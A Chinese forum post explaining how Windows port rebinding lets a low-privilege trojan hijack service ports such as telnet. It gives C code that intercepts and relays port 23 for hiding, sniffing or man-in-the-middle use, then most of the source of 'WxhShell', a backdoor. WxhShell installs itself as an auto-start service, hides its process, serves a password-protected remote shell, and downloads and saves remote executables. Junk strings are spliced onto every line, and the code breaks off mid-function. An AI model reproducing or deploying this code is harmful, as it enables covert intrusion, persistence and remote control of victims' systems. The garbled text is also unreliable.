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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _tDSG]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'oSs5lW  
k/bY>FY2r  
  saddr.sin_family = AF_INET; s{x{/Bp(KK  
.vHSKd{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TY}9;QL:  
' k[d&sR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +EG?8L,z  
[)UL}vAO\q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VsEMF i=  
F;$z[z  
  这意味着什么?意味着可以进行如下的攻击: 7 -yf  
pv);LjF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {"hX_t  
KY 085Fvs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AX=$r]_  
{`~uBz+dJq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W&>ONo6ki  
r5y p jT^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "`<tq#&C1  
OSACH0h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nP`#z&C  
@vzv9c[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9XtR8MH  
I- oY@l`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pIcvsd  
HUUN*yikj  
  #include p2T<nP<Pt  
  #include 5n,?&+*L  
  #include USBU?WDt  
  #include    t* eZe`|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rC )pCC  
  int main() 2MS-e}mi  
  { }!-BZIOlO  
  WORD wVersionRequested; V*]cF=W[A  
  DWORD ret; 9w\ yWxl  
  WSADATA wsaData; 2P)*Y5`KBH  
  BOOL val; x[XN;W&  
  SOCKADDR_IN saddr; ,pfHNK-u  
  SOCKADDR_IN scaddr; 6aC'\8{h  
  int err; 0'&N?rS  
  SOCKET s; h\C" ti2  
  SOCKET sc;  %T9'dcM  
  int caddsize; fsd,q?{a:  
  HANDLE mt; J3/2>N]/}  
  DWORD tid;   !F ]7q]g  
  wVersionRequested = MAKEWORD( 2, 2 ); o2p;$W4`  
  err = WSAStartup( wVersionRequested, &wsaData ); qz]b8rX  
  if ( err != 0 ) { 2^Y@e=^A  
  printf("error!WSAStartup failed!\n"); AcC'hr.N+  
  return -1; I !\;NVhv  
  } d@-s_gw  
  saddr.sin_family = AF_INET; g Mhn\  
   um.s :vj$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .CU~wB@h  
7O)j]eeoL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [fVtQ@-S!  
  saddr.sin_port = htons(23); E(t:F^z&D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MPSoRA: h  
  { vm,/?]P  
  printf("error!socket failed!\n"); Py?EA*(d#  
  return -1; VL6_in(  
  } lJZ-*"9V  
  val = TRUE; 7,vvL8\NHu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >v1E;-ZA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B_Qi  
  { +-8u09-F  
  printf("error!setsockopt failed!\n"); gN"Abc  
  return -1; `2}H$D  
  } /m#!<t7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u~ %xU~v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x.gRTR`7(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M? 7CBqZ  
8&d s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r7dvj#^  
  { +[W_J z  
  ret=GetLastError(); f+A!w8E  
  printf("error!bind failed!\n"); c:;m BS>~  
  return -1; vpTYfE  
  } 4(2iR0N  
  listen(s,2); a-nf5w>&q  
  while(1) 24 )Sf  
  { 2VSs#z!  
  caddsize = sizeof(scaddr); f9`F~6$  
  //接受连接请求 LojEJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6:PQkr  
  if(sc!=INVALID_SOCKET) ;4E(n  
  { ds> V|}f[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p~X=<JM  
  if(mt==NULL) ChVur{jR  
  { >LqW;/&S<  
  printf("Thread Creat Failed!\n"); :i{$p00 G  
  break; xw1@&QwM  
  } cSMiNR  
  } z x e6M~+  
  CloseHandle(mt); q ERdQ~M,  
  } QY$Z,#V)  
  closesocket(s); l;u_4`1H  
  WSACleanup(); MqA%hlq  
  return 0; |ji={  
  }   ?U}Ml]0~  
  DWORD WINAPI ClientThread(LPVOID lpParam) bKAR}JM&  
  { 6x6xv:\  
  SOCKET ss = (SOCKET)lpParam; c UJUZ@ol  
  SOCKET sc; Z:TW{:lrI  
  unsigned char buf[4096]; a?^xEye  
  SOCKADDR_IN saddr; CuS"Wj  
  long num; A4C4xts]N  
  DWORD val; FrPpRe%!  
  DWORD ret; l~cT]Ep  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %Fb4   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kaKV{;UM  
  saddr.sin_family = AF_INET; P:`tL)W_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :Fv d?[  
  saddr.sin_port = htons(23); 7&I+mw/X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RU r0K#]  
  { y2XeD=_'  
  printf("error!socket failed!\n"); CBj&8#8Z  
  return -1; 6Vq]AQx  
  } BK+(Uf;g  
  val = 100; HizMjJ|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Muhq,>!U  
  { tA,#!Z0  
  ret = GetLastError(); OfSy_#aEK  
  return -1; S7/0B4[  
  } E~k_4z% M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;t^8lC?>V  
  { oM')NIW@  
  ret = GetLastError(); xKo l  
  return -1; Ng;K-WB\  
  } p-KMELB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AdCi*="m  
  { p_K` `JE  
  printf("error!socket connect failed!\n"); >_ )~"Ra  
  closesocket(sc); {e>E4(  
  closesocket(ss); IV#kF}9$  
  return -1; KINKq`Sx  
  } GpW5)a  
  while(1) o*d+W7l  
  { vai.w-}Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VaLx-RX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8Gw0;Uu8D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kO1.27D  
  num = recv(ss,buf,4096,0); 4sj:%% UE  
  if(num>0) ^CZ)!3qd1  
  send(sc,buf,num,0); =f4v: j}'|  
  else if(num==0) q;XO1Se  
  break; z j[/~ I  
  num = recv(sc,buf,4096,0); kX\\t.nH  
  if(num>0) jl!rCOLt4  
  send(ss,buf,num,0); @D<KG  
  else if(num==0) e-}b]\  
  break; "cK@Yo  
  } |C MKY  
  closesocket(ss); wZ^ 7#yX>  
  closesocket(sc); >9h@Dj[|!  
  return 0 ; 8SG*7[T7  
  } w Ud6xR  
EQ;,b4k?&g  
>:2Br(S  
========================================================== z x7fRd$  
~Sr`Tlp  
下边附上一个代码,,WXhSHELL (|(#W+l~  
`L-GI{EJ  
==========================================================  P[l?  
6$d3Ap@Gl  
#include "stdafx.h" ]A;{D~X^w  
("UzMr,  
#include <stdio.h> rQW&$M  
#include <string.h> ` 0YI?$G1  
#include <windows.h> FG?69b>  
#include <winsock2.h> RV*7?y%3  
#include <winsvc.h> JZCRu_M>|  
#include <urlmon.h> 71nI`.Z  
W6b5elH@  
#pragma comment (lib, "Ws2_32.lib") {5ujKQOcR  
#pragma comment (lib, "urlmon.lib") |"7^9(  
QasUgZ  
#define MAX_USER   100 // 最大客户端连接数 N*k`'T  
#define BUF_SOCK   200 // sock buffer z[7j`J|Kk  
#define KEY_BUFF   255 // 输入 buffer Z#n!=k TTm  
}~Am{Er <l  
#define REBOOT     0   // 重启 8z?q4  
#define SHUTDOWN   1   // 关机 8veYs`  
?q&*|-%)_d  
#define DEF_PORT   5000 // 监听端口 E7XFt#P.  
v=(L>gg  
#define REG_LEN     16   // 注册表键长度 UuNcBzB2d  
#define SVC_LEN     80   // NT服务名长度 :HDl-8]Lw  
nm!5L[y!0  
// 从dll定义API t-xw=&!w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {x $h K98  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dm,*G`Js  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kfod[*3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2{<5?Op  
?A[q/n:K  
// wxhshell配置信息  CB<i  
struct WSCFG { YKjm_)8]w  
  int ws_port;         // 监听端口 8=]R6[,fD  
  char ws_passstr[REG_LEN]; // 口令 :r<uH6x|  
  int ws_autoins;       // 安装标记, 1=yes 0=no zi^T?<t  
  char ws_regname[REG_LEN]; // 注册表键名 M_o<6C  
  char ws_svcname[REG_LEN]; // 服务名 L_>j SP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C *\ =Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ab]`*h\U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wKjL}1.k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {=(GY@yU/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p8%/T>hK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W!$aK)]4u  
tMWDKatb  
}; \6UK:'5{  
?m)3n0Uh  
// default Wxhshell configuration R7/"ye:7J  
struct WSCFG wscfg={DEF_PORT, f0 ;Fokt(  
    "xuhuanlingzhe", yQ33JQr  
    1, a88(,:t  
    "Wxhshell", ~w<u!  
    "Wxhshell", {Jv m *   
            "WxhShell Service", :R/szE*Ak  
    "Wrsky Windows CmdShell Service", "?I]h  
    "Please Input Your Password: ", (GLd" Zq  
  1, J/M_cO*U  
  "http://www.wrsky.com/wxhshell.exe", y4aW8J#  
  "Wxhshell.exe" ~^U(GAs  
    }; 4g}eqW  
;C1]gJZ,  
// 消息定义模块 QLq^[ >n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HG(J+ocn   
char *msg_ws_prompt="\n\r? for help\n\r#>"; vOb=>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &_q&TEi  
char *msg_ws_ext="\n\rExit."; 'USol<  
char *msg_ws_end="\n\rQuit."; hOI| #(-  
char *msg_ws_boot="\n\rReboot..."; R$'0<y8E*]  
char *msg_ws_poff="\n\rShutdown..."; B(x$ Ln"y[  
char *msg_ws_down="\n\rSave to "; GqFDN],Wp  
,tdV-9N[O  
char *msg_ws_err="\n\rErr!"; UjNe0jt% s  
char *msg_ws_ok="\n\rOK!"; wS Ty2Oyo;  
b%w?YR   
char ExeFile[MAX_PATH]; [B}$U|V0  
int nUser = 0; 1^G*)Qn5Df  
HANDLE handles[MAX_USER]; xWY%-CWY.  
int OsIsNt; 95.m^~5  
CJ*8x7-t  
SERVICE_STATUS       serviceStatus; D^(Nijl9U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }i32  
] m$;ra]  
// 函数声明 9v=fE2`-  
int Install(void); 3BBw:)V  
int Uninstall(void); ar-N4+!@  
int DownloadFile(char *sURL, SOCKET wsh); %3L4&W _T  
int Boot(int flag); %P!6cyQS  
void HideProc(void); |hsg= LX  
int GetOsVer(void); [.M<h^xrB  
int Wxhshell(SOCKET wsl); ?a ~59!u  
void TalkWithClient(void *cs); W^}fAcQKH  
int CmdShell(SOCKET sock); aCu 8 D!  
int StartFromService(void); \2q!2XWgK  
int StartWxhshell(LPSTR lpCmdLine); ^Ge3"^x1  
-)biSU,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3$fzqFo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6#sd"JvtQ  
Zt3"4d4  
// 数据结构和表定义 ;T!w$({V0z  
SERVICE_TABLE_ENTRY DispatchTable[] = J{W<6AK\S  
{ f(Vr&X  
{wscfg.ws_svcname, NTServiceMain}, W\JbX<mQ  
{NULL, NULL} ]a4rA+NFLB  
}; 89*txYmx  
RAw/Q$I  
// 自我安装 idWYpU>gC  
int Install(void) ZT*RD2,  
{ +Y7"!wYR>  
  char svExeFile[MAX_PATH]; #S?xRqkc  
  HKEY key; ('H[[YODh  
  strcpy(svExeFile,ExeFile); ~j%g?;#*  
(*{Y#XD{  
// 如果是win9x系统,修改注册表设为自启动 {)E)&lL  
if(!OsIsNt) { ao2NwH##  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~>h_#sIBC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,{"%-U#z  
  RegCloseKey(key); )bJS*#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vbH?[ Zr?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $a'n{EP  
  RegCloseKey(key); ^gP pmb<x  
  return 0; ,BGaJ|k  
    } A*;I}F  
  } ya[][!.G  
} MHh>~Y(h  
else { ]njObU)[zr  
H7&>cM  
// 如果是NT以上系统,安装为系统服务 =og5Mh,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x|>N   
if (schSCManager!=0) gIGyY7{(s8  
{ ~s#vP<QHa  
  SC_HANDLE schService = CreateService wR)U&da`@  
  ( tO0MYEx"  
  schSCManager, A 9 I5  
  wscfg.ws_svcname, @'go?E)f  
  wscfg.ws_svcdisp, 99GzhX_  
  SERVICE_ALL_ACCESS, gXrPZ|iS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r_m*$r~f  
  SERVICE_AUTO_START, -0Ws3  
  SERVICE_ERROR_NORMAL, Mf 7 Z5  
  svExeFile, ={HYwP;  
  NULL, Lt\Wz'6Y  
  NULL, 5u(,g1s}UZ  
  NULL, <1r#hFUUL  
  NULL, Nqf6CPXE  
  NULL 0K+a/G@ n\  
  ); o>(I_3J[p  
  if (schService!=0) xvx5@lx  
  { "eqNd"~  
  CloseServiceHandle(schService); dj>ZHdTn  
  CloseServiceHandle(schSCManager); ,ALEfepo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;5i~McH# t  
  strcat(svExeFile,wscfg.ws_svcname); +48a..4sN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HF(pC7/a:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fjq~^_8  
  RegCloseKey(key); SSoD}N  
  return 0; o75Hit  
    } 0?x9.]  
  } :Z(w,  
  CloseServiceHandle(schSCManager); oqLM-=0<}  
} dRl*rP/  
} Wt$" f  
2P&KU%D)0s  
return 1; 33O O%rWi  
} E=G"_ ^hCE  
Zo=w8Hr  
// 自我卸载 GJpQcse%  
int Uninstall(void) \FE  
{ $mH'%YDIl  
  HKEY key; FLWQY,  
w6b\l1Z  
if(!OsIsNt) { ^p@R!228  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vvWje:H  
  RegDeleteValue(key,wscfg.ws_regname); x{GKz#  
  RegCloseKey(key); l"T{!Oq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xs,[Z2_iq  
  RegDeleteValue(key,wscfg.ws_regname); {x&"b-  
  RegCloseKey(key); >gj%q$@  
  return 0; AeQIsrAHE  
  } A>0wqT  
} $w:7$:k  
} &:]ej6 V'[  
else { =Gl6~lJ{_  
UKfC!YR2J8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dV~d60jOF  
if (schSCManager!=0) 28u3B2\$  
{ 71g\fGG\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >~+'V.CNW  
  if (schService!=0) Cob<N'.  
  { #b^x!lR  
  if(DeleteService(schService)!=0) { e!eUgD  
  CloseServiceHandle(schService); d]fo>[%Xr  
  CloseServiceHandle(schSCManager); ")gd)_FOS  
  return 0; GjHV|)^  
  } Qp]-:b  
  CloseServiceHandle(schService); -W6r.E$mC  
  } 0 It[Pa qG  
  CloseServiceHandle(schSCManager); D%WgE&wtM  
} 4u!<3-3Zy  
} In3},x +$  
;*~y4'{z  
return 1; KG2ij~v  
} GnCO{"n  
])v,zp"u  
// 从指定url下载文件 Y6&B%t<bo  
int DownloadFile(char *sURL, SOCKET wsh) zi7>!#(  
{ ,JL Y oE+  
  HRESULT hr; E#5$O2b#  
char seps[]= "/"; Q&JnF`*  
char *token; U]8 @  
char *file; Ao2m"ym  
char myURL[MAX_PATH]; 49e~/YY  
char myFILE[MAX_PATH]; _0razNk  
o%~PWA*Qp  
strcpy(myURL,sURL); (toN? ?r  
  token=strtok(myURL,seps); @,=E[c 8  
  while(token!=NULL) ?;q  
  { Y{Yp N  
    file=token; vX9B^W||x  
  token=strtok(NULL,seps); #]g9O?0$  
  } &efwfnG<  
| e&v;48  
GetCurrentDirectory(MAX_PATH,myFILE); =Wgz\uGJ  
strcat(myFILE, "\\"); 31FQ=(K  
strcat(myFILE, file); .q!U@}k.  
  send(wsh,myFILE,strlen(myFILE),0); AV t(e6H  
send(wsh,"...",3,0); WNE=|z#|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \[!k`6#t7  
  if(hr==S_OK) qGH s2Og  
return 0; ,(D:cRN  
else S8zc1!  
return 1; );m7;}gE  
CyWaXp65  
} =m+'orJ1  
iJ7?6)\  
// 系统电源模块 + A=*C  
int Boot(int flag) .b3c n  
{ v?9  
  HANDLE hToken;  e>FK5rz  
  TOKEN_PRIVILEGES tkp; UNc[h&@_  
Sz"rp9x+  
  if(OsIsNt) { f0<'IgN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x|TLMu=3=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qh40nqS;9  
    tkp.PrivilegeCount = 1; L_k'r\L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qYwEPGa\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O<:"Irq\qr  
if(flag==REBOOT) { [|:kS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  GD]yP..  
  return 0; C}7 c:4c  
} !8z,}HUdK  
else { V~9s+>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3ZAPcpB2  
  return 0; ^hMJNy&R  
} X}-) io  
  } <8'-azpJ6<  
  else { m\Xgvpv rP  
if(flag==REBOOT) { ['G@`e*\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RV&=B%w+  
  return 0; 3BSJ|o<"=  
} oX;D|8 f  
else { 4ox[,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2v;F@fUB.  
  return 0; [1 ?  
} q@"0(Oj  
} IKm_YQ$XOy  
"IvFkS=*Q  
return 1; p>O>^R  
} | M|5Nc>W  
AJ:(NV1=  
// win9x进程隐藏模块 1pM"j!  
void HideProc(void) RTEzcJ>  
{ {cYS0%Go  
zx(=ArCRr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9/@7NNKJ  
  if ( hKernel != NULL ) 3=)!9;uY  
  { 8ph*S&H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G<8d=}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pow.@  
    FreeLibrary(hKernel); 5*n3*rbU:  
  } |$)+h\h  
`L. kyL  
return; pc=f,  
} yLDv/r  
@u.%z# h"1  
// 获取操作系统版本 7a0kat '\  
int GetOsVer(void) Q#Vg5H4  
{ c(R=f +  
  OSVERSIONINFO winfo; k4AF .U`I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pf4b/w/  
  GetVersionEx(&winfo); wB~5&:]jr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) { ]F };_  
  return 1; .[qm>j,  
  else 'on8r*  
  return 0; ;:%*h2  
} zFq8xw  
Hl3%+f  
// 客户端句柄模块 =MsQ=:ZV  
int Wxhshell(SOCKET wsl) pSzO )j  
{ z|^+uL  
  SOCKET wsh; P`HDQ/^O  
  struct sockaddr_in client; 1dl@2CVS  
  DWORD myID; \d,wcL  
{Y(#<UDM  
  while(nUser<MAX_USER) Q8~|0X\.g  
{ B F,8[|%#  
  int nSize=sizeof(client); BSMM3jXb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uxjx~+qFd  
  if(wsh==INVALID_SOCKET) return 1; mHYR?  
"s!|8F6$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m! 3e>cI  
if(handles[nUser]==0) 9Sy|:J0  
  closesocket(wsh); (sfy14>\  
else vpoYb  
  nUser++; WcG}9)9  
  } XuY#EJbZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ei Yj`P  
65>1f  
  return 0; ;4!,19AT  
} | k:ecw  
bRhc8#kw)  
// 关闭 socket (:spA5  
void CloseIt(SOCKET wsh) G%RL8HU  
{ ,8Yc@P_O  
closesocket(wsh); &Se!AcvKF  
nUser--; DMcH, _(  
ExitThread(0); k-zkb2  
} q9^6A90  
JJ+A+sfdk  
// 客户端请求句柄 y;r{0lTB  
void TalkWithClient(void *cs) `> :^c  
{ Vp.&X 8  
!UV1OU  
  SOCKET wsh=(SOCKET)cs; I\,m6 =q  
  char pwd[SVC_LEN]; H E'1Wa0r  
  char cmd[KEY_BUFF]; ?uBZ"^'  
char chr[1]; zBKfaQI,  
int i,j; ?##3E, /"9  
?c;T4@mB  
  while (nUser < MAX_USER) { ~hk;OB;  
E;vF :?|  
if(wscfg.ws_passstr) { G""L1?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +pefk+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bc!ZHW *&  
  //ZeroMemory(pwd,KEY_BUFF); ; { MK  
      i=0; WA$Ug  
  while(i<SVC_LEN) { TB@0j ;g  
@}8~TbP  
  // 设置超时 b;O@|HK&~  
  fd_set FdRead; x&N!SU6  
  struct timeval TimeOut; l5*sCp*Z  
  FD_ZERO(&FdRead); 6HK dBW$/  
  FD_SET(wsh,&FdRead); =rB=! ;  
  TimeOut.tv_sec=8; R'Uw17I  
  TimeOut.tv_usec=0; W7 .Y`u[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \H -,^[G3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q"uP%TN  
RY4b <i3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &W|r P(  
  pwd=chr[0]; 9eh9@~mU"l  
  if(chr[0]==0xd || chr[0]==0xa) { Xe J|Z)qZ  
  pwd=0; `-J$7)d@  
  break; mx ]a@tu  
  } {=q$k=ib  
  i++; i"HENJyCb  
    } 0)^$9 Z  
G8Qo]E9-/  
  // 如果是非法用户,关闭 socket !i dQ-&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (3[Lz+W.u  
} Z{".(?+}1  
XoZw8cY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,o{|W9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1yg5d9  
l[cBDNlrC;  
while(1) { &|% F=/VU  
j0eGg::  
  ZeroMemory(cmd,KEY_BUFF); yE6EoC^  
AvxP0@.`  
      // 自动支持客户端 telnet标准   :-.K.Ch|:  
  j=0; +kXj+2  
  while(j<KEY_BUFF) { CL%+`c0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jr=>L:  
  cmd[j]=chr[0]; (oiF05n h  
  if(chr[0]==0xa || chr[0]==0xd) { i=ztWKwKf  
  cmd[j]=0; t]QGyW A]  
  break; K~MTbdg  
  } l|Z<pD  
  j++; y=H\Z/=  
    } B\ITXmd   
@[vwqPOL  
  // 下载文件 >JWW2<  
  if(strstr(cmd,"http://")) { UojHlTg#bT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f5droys9  
  if(DownloadFile(cmd,wsh)) Og8'K=O#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |fd}B5!c  
  else GY[+HgT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uQYBq)p|  
  } [|NgrU_.  
  else { +=qazE<:0  
fK'qc L  
    switch(cmd[0]) { 2 ~zo)G0  
  eT4+O5t  
  // 帮助 j. m(Z}  
  case '?': { NyTGvBf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x|6# /m  
    break; MUs~ZF  
  } jcuC2t  
  // 安装 51Nh"JTy  
  case 'i': { SjZ?keKZ  
    if(Install()) S(b5Gj/Kd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OG C|elSM  
    else (ru9Ke%Dx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Ww\D8yV&  
    break; qU/,&C  
    } -nvK*rn>}  
  // 卸载 G|"`kAa  
  case 'r': { [p%OIqC`pB  
    if(Uninstall()) oV 7A"8L^a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [)ybPIv]  
    else &7gE=E(M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :2\H>^u V  
    break; HxgH*IMs  
    } Q.dHg7+D  
  // 显示 wxhshell 所在路径 n* 7mP   
  case 'p': { ?pLKUAh  
    char svExeFile[MAX_PATH]; d:x=g i!  
    strcpy(svExeFile,"\n\r"); }&o*ZY-1  
      strcat(svExeFile,ExeFile); LhM{d  
        send(wsh,svExeFile,strlen(svExeFile),0); 6Ee UiLd  
    break; 9m:qQ1[\  
    } 3}}#'5D  
  // 重启  9kkYD  
  case 'b': { BU|bo")  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `T;M=S^y*E  
    if(Boot(REBOOT)) ?D^l&`S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XP$1CWI  
    else { SLiQHWw*J  
    closesocket(wsh); *Y2d!9F}Sa  
    ExitThread(0); :e&P's=  
    } n<x NE %  
    break; 8+b ?/Rn0  
    } >H ,t^i}@  
  // 关机 i n^Rf` "  
  case 'd': { gXR1nnK  
